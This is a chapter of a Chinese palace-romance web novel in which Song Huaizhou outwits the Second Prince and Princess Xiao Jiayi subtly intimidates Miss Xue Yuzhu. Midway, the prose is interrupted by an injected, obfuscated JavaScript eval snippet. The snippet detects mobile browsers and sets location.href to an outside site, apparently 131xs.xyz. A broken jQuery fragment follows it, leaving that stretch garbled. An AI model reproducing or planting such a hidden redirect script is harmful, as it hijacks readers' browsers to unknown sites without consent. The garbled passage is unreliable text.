31. 第三十一章

萧靖轩揽着宋淮州的肩的姿势叫外人看来甚是亲近,好似两人十分熟稔,实则只是两个人的目的恰好相同了。


他们都想赶紧离开假山那里。


等到绕回至宴会上时,萧靖轩嫌弃似的把手甩开,力道之大还将宋淮州往旁边推了一下。


宋淮州不以为意,只是在萧靖轩要转身离开时突然开口道:“二皇子不是说有一处的景色甚是迷人,也不知道是在哪里。”


萧靖轩停下脚步回头冷笑道:“在哪里与你又有何干。”


若是平常萧靖轩怕是理都懒得理宋淮州他们这些父辈在朝中无助力的人,因的两人之前的嫌隙,萧靖轩丝毫不客气的继续道:“宋淮州,你不会以为你被选为驸马就和我们平起平坐了吧,本宫劝你没事的时候多看看书,同时和你们府上,不,估计你们府上也教不出你什么好来,哪日闲了就进宫和宫里的人学学规矩吧,学学怎么伺候人,毕竟以后你要做我皇妹的一条狗。”


宋淮州淡然的带着笑听着萧靖轩说完这一堆毫无震慑力的话,刚才眼中带着的醉意消散了七七八八。


萧靖轩看宋淮州站在原地,以为是被他的话吓到了,刚要得意的离开,宋淮州骤然笑道:“二皇子说我们府上什么不是也不能说读书的事,毕竟我们府上可是出了两位状元的,皇上亲口夸赞说我们建安侯府世代书香,文韬武略双面开花,怎么二皇子是觉得皇上说的话有失偏颇?”


萧靖轩没想到宋淮州还敢反击,竟然又拿皇上压他,新仇旧恨一时上头,萧靖轩越发的跋扈道:“就算是出了两位状元又如何,你不还是一事无成,牙尖嘴利只会口头上讨便宜,比坊间卖笑的下贱胚子有何区别。”


萧靖轩这话说的属实粗鄙,却也透露出了些许小秘密来。


宋淮州打量着萧靖轩,眼神丝毫不避让道:“谢谢二皇子的称赞,只是臣不但嘴上功夫了得,而且耳清目明,对周围的风声草动更是敏感,所以臣甚是好奇,二皇子为什么要在无人的地方约薛家的小姐去赏花?孤男寡女这不合礼法吧,皇室规矩森严,也不知道二皇子这么做是否合规矩。”


萧靖轩听言眼神立刻凌厉起来,心虚般的往下走了几个台阶后才稳定了心神。


“你都听见了?”萧靖轩回问道,随即不等宋淮州给出答案又赶紧给自己狡辩道:“你在乱说什么,你哪只眼睛看见我和薛小姐搭话了。”


萧靖轩慌张中都忘了高高在上的自称了,宋淮州透过他强撑的外壳早就看透了他的外强中干。


“臣是没看见只是听见了。”宋淮州实话实说道。


萧靖轩听言放下心来又恢复了之前的强势道:“宋淮州你知道诬陷本宫有什么后果吗?”


“臣没看见不代表旁人也没看见。”宋淮州懒得和他应付下去,“假山那里的路错综复杂,谁知道哪个洞里藏着人呢?”


从小就生活在宫里,旁的不说,对阴谋论的玩法十分熟悉的萧靖轩大惊失色道:“你竟然敢算计本宫!”


萧靖轩本想着嘴硬不认的,但是想到除了宋淮州以外可能还有其他人在现场,等他们两个离去后,出去就能碰上薛雨竹,这下饶是他嘴硬过岩石怕是也无用了。


宋淮州真是冤枉,他不过是想见见公主,哪里有闲心算计这个坑害哪个,这事真是赶巧了,只能说是萧靖轩自己倒霉撞了上来,除此之外宋淮州想不到其他的理由。


见宋淮州没有言语,萧靖轩便以为自己猜对了,刚才的得意之感荡然无存,最后只能硬撑着气势道:“本宫劝你老实点,你就算再怎么算计本宫,本宫也是这大梁的皇子。”


说完后萧靖轩连回应都懒得听,匆匆的回到了席间,徒留布下“阴谋诡计”的宋淮州站在原地。


宋淮州骤然觉得人长着一张嘴好像是有点没用,你做过什么事根本不由你自己说,旁人已经帮你完成了整场的大戏。


不过经此一事宋淮州倒是好奇起来萧靖轩为什么要去堵薛雨竹了。


===


待脚步声走远后,薛雨竹悄悄的自假山后探出头,前面的两个人往远处走去,自背影看起来都是一般的身姿挺拔玉树临风,但薛雨竹的视线却被那一袭蓝衣勾住了。


光是今日宋淮州无形之中都救了她好几次了。


世家的小姐们平日里多多少少都会偷偷的看些画本子,自小就清楚自己将会成为联姻的对象,人就是越得不到什么就会越向往什么。


薛雨竹手中的帕子抵在胸口前,下意识的想拦住那慌乱的心跳,思绪混乱间,薛雨竹突然想到若是真的救命之恩能以身相许该多好呢。


还未来得及等薛雨竹继续往下细想,身后便传来了另一个声音。


“薛小姐。”


薛雨竹吓了一跳险些惊呼出声,待回头时才发现来人竟是公主,薛雨竹忙调整思绪慌乱的给公主请安。


起身的片刻薛雨竹快速的想好了如何面对公主的接下来的询问,关于她怎么跑到假山这边来的,宋公子的事情是万万不能说出口的。


“刚才你受惊了吧。”萧嘉仪另辟蹊径,一击命中,根本不给薛雨竹反应的机会,就是要大大方方的坦露她刚才见了萧靖轩的事情。


薛雨竹脸上强撑的镇定瞬间被瓦解的七零八散,紧张的不知道该如何为自己辨说。


萧嘉仪却上前轻轻的拉住了薛雨竹的手,带着她一直走到了附近的凉亭之中。


“薛小姐放心,这附近没有旁人,而这次调来景山别院的下人们也是老实的,万万不会损毁薛小姐的清誉的。”萧嘉仪看似在给薛雨竹吃定心丸,实则却叫薛雨竹明白谁才是能翻云覆雨的人。


虽然大家都明白这种京中适龄公子小姐们的聚会大多都是为了相看,但是众人一起是一回事,私下见面又是另一回事,但凡门第高一点的人家都不会允许自家的女眷私下与外男见面,不论侯爵王公,一概不可。


薛家虽在这京都并不算是什么高门显贵,但是就凭薛尚书在户部尚书的位置上扎扎实实的坐了这些年,那薛家也是不容小觑的。


薛雨竹的脸瞬间变得煞白。


萧嘉仪看见后体贴道:“薛小姐是否身体不适?怎的脸色这么难看,含巧,把周围的珠帘都挂上吧,将南侧的这两面屏风也拉开,免得薛小姐受风。”


含巧一顿操持下,这本就不大的亭子一下子宛如和外面的世界隔离开来,里面只剩萧嘉仪和薛雨竹两人。


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15576329|168243||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


薛雨竹也不含糊径直给萧嘉仪跪下磕头道:“臣女惶恐,臣女只是迷路走到了这里。”


薛雨竹宁死不愿交代出宋淮州来,只是她却忽略了萧嘉仪出现在假山那里的原因。


萧嘉仪没有言语只是缓缓地抿了口茶淡淡道:“薛小姐,这本身并不是什么大事,听说我母后本就属意将你许配给二皇兄做妃的,若是你和二皇兄真的一见倾心,那本宫可助你求个恩典,让父皇给你赐个婚和本宫一般岂不也是一段佳话。”


同样是女子,萧嘉仪于感情方面上再愚钝也看的出薛雨竹对宋淮州存着旁的心思,不然也不会一天内一而再再而三的出现在宋淮州周围,于是便借着赐婚之事敲打她。


薛雨竹赶忙磕头忍着心里的难过和委屈道:“公主恕罪,臣女没有想攀附皇子的心思,请公主明鉴。”


萧嘉仪故作惋惜的说道:“本宫还当二皇兄与薛小姐是一见如故呢,这又是要赏花,又是要引路的,感情这是萧郎有意神女无情呀。”


萧嘉仪并未点透薛雨竹是奔着宋淮州过去的事情,却侧面告诉薛雨竹她在假山后将所有的东西都听得一清二楚。


薛雨竹感觉自己的身子立时没了力气,怕是跪都要跪不住了。


这件事若是传出去,于二皇子无碍,更与公主无关,说到底怕是都得自己一个人担下那不守规矩败坏名声的恶果,薛雨竹甚至都想象到自己被锁至尼姑庵中亦或是直接一抹白绫的结局了。


见薛雨竹被敲打的差不多了,萧嘉仪主动微微倾身拉住薛雨竹变得冰冷的手道:“天气还凉着呢,这石砖跪久了怕是会受寒,薛小姐还是起身多饮几盏热茶吧。”


待薛雨竹坐至椅子上时萧嘉仪起身道:“本宫得去宴会上招待几分,薛小姐在这把茶饮了再过去吧。”


萧嘉仪处理事情干脆果断,点到为止,既不给退路,也不点明说,若是在排兵布阵上可说是兵不血刃便能赢得一场硬仗。


因薛雨竹的马车坏了,萧嘉仪特意命人给薛雨竹配了新的马车送回薛府,后又听说薛家的小姐生病了,皇后娘娘一连举办了几次宴会都没叫到人,萧嘉仪还体贴的着人一趟一趟的送去了诸多的补品,当然这都是后话了。


而京都内正风风火火的讨论薛家小姐重病之事的时候,阴差阳错的帮助公主解决了一个大问题的宋淮州也收到了萧嘉仪送来的礼物。


这次送东西来的是含巧,虽然只有四本书,但是含巧却传达到了公主的思想。


“宋公子,公主说了,叫你没事的时候认真学习这里面的内容,这可是公主连夜请了好几个姑姑赶出来的,细问那墨香还是新的,公主说了不日会检查公子的学习成果。”


虽然读书之事对宋淮州而言有些勉强,但是一听到日后和公主还能借此见面,宋淮州欢快的接过了那四本书,打开一看却傻眼了。


《男诫》、《内训》、《男论语》和《男范捷录》


这内容熟悉中透露出了些许的诡异。


光听说过《女四书》,没成想公主为了他竟然专门制作了《男四书》。


宋淮州一看那密密麻麻的字感慨到谁说驸马好做了,这驸马一点都不好当,为了混个皇家铁饭碗他容易嘛!